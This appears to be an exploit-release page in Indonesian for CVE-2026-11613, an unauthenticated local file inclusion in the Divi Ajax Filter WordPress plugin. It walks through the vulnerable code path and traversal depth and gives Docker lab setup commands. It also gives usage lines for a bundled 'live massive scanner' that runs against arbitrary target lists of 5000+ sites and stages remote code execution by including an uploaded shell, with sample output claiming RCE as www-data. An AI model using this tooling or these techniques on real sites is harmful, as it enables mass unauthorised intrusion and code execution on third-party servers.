CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 Unauthenticated Local File Inclusion via 'custom_loop_template' | Kitploit

Nonce publik — includes/modules/FilterPosts/FilterPosts.php:1759 membuat wp_create_nonce('filter_object') dan menempelkannya via wp_localize_script (filter_ajax_object.security) pada script yang di-enqueue untuk SEMUA pengunjung (wp_enqueue_scripts). Nonce bukan penghalang: setiap visitor punya salinannya.
Entry point unauth — filter_ajax.php:3406-3407 & loadmore_ajax.php:569-570 mendaftarkan handler dengan wp_ajax_nopriv_* (tanpa login).
Input tanpa sanitasi — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), lalu $custom_loop_template = $loop_var['custom_loop_template'] verbatim — tanpa basename(), tanpa whitelist, tanpa realpath check.

Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):

if ($loop_templates == 'custom-template') {
    if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
        include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);

Kondisi: request harus masuk cabang non-WooCommerce ($posttype dari JSON query bebas, tidak ada allow-list) dan query harus menghasilkan >= 1 post.

Traversal depth — base dir = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → butuh ../../../../../ (5×) untuk kembali ke webroot. CATATAN PENTING: file_exists()/include() gagal diam-diam jika komponen prefix path tidak ada — direktori divi-ajax-filter/loop-templates/ di dalam theme harus eksis (ini struktur custom-template yang didokumentasikan plugin, jadi umum ada di site yang memakai fitur ini; tanpa dir itu traversal diblokir secara efektif).
RCE — jika attacker bisa menaruh .php di server (upload user ber-hak author, konfigurasi upload longgar, plugin lain), include file upload = eksekusi kode.

cve-2026-11613/
├── poc_http.py                  # PoC + live massive scanner (single file)
├── divi-ajax-filter-3.1.8.4.zip # plugin siap install (upload via WP admin / Plugins > Add New)
├── README.md
├── mirror-site/                 # clone github albertoformi/fr9z3i4pwxt3qx
│   └── includes/modules/divi-ajax-filter/   # plugin v3.1.8.4 (affected)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB, port 8099
    ├── setup.sh                 # copy plugin + compose up
    ├── install_wp.sh            # install WP + verifikasi
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # shim DiviExtension/ET_Builder_* (lab-only)
        │   └── zz-activate-daf.php     # auto-aktivasi plugin
        ├── plugins/divi-ajax-filter/   # plugin rentan (di-mount ke container)
        └── uploads/poc-rce.php         # payload "upload" tersimulasi (exit di akhir)

bash lab/setup.sh        # copy plugin + docker compose up (port 8099)
bash lab/install_wp.sh   # install WP (admin / LabPass!2026)
# tambah struktur theme yang dibutuhkan traversal:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# buat 2 post contoh (sekali saja):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

python poc_http.py target.com                       # auto http://
python poc_http.py https://target.com domain2.com   # beberapa target
python poc_http.py --list targets.txt --threads 30  # massive scan 5000+
python poc_http.py --list targets.txt --fast        # sweep ringan 2 req/target
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # stage RCE

[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

Plugin	Divi Ajax Filter (Divi Engine, premium — bukan di wordpress.org SVN)
Affected	semua versi <= 5.1.2 (lab memakai 3.1.8.4 dari mirror)
Patched	5.1.3 (11/08/2026)
Tipe	CWE-98 — PHP Local File Inclusion, unauthenticated
CVSS	9.8 Critical (AV:N/AC:L/PR:N/UI:N)
Advisory	Wordfence (finder: h0xilo), dipublikasi 04/09/2026
Sumber kode	mirror publik: github.com/albertoformi/fr9z3i4pwxt3qx (site WP + plugin di `includes/modules/divi-ajax-filter/`)

CVE-2026-11613

Most Popular

Analisis teknis (dari kode mirror v3.1.8.4)

Struktur direktori

Menjalankan lab

PoC / Scanner live (tanpa mode — semua target diperlakukan live)

WayangXploit — one-shot (tanam canary + verifikasi RCE otomatis)

Hasil verifikasi lab (nyata, dari HTTP response)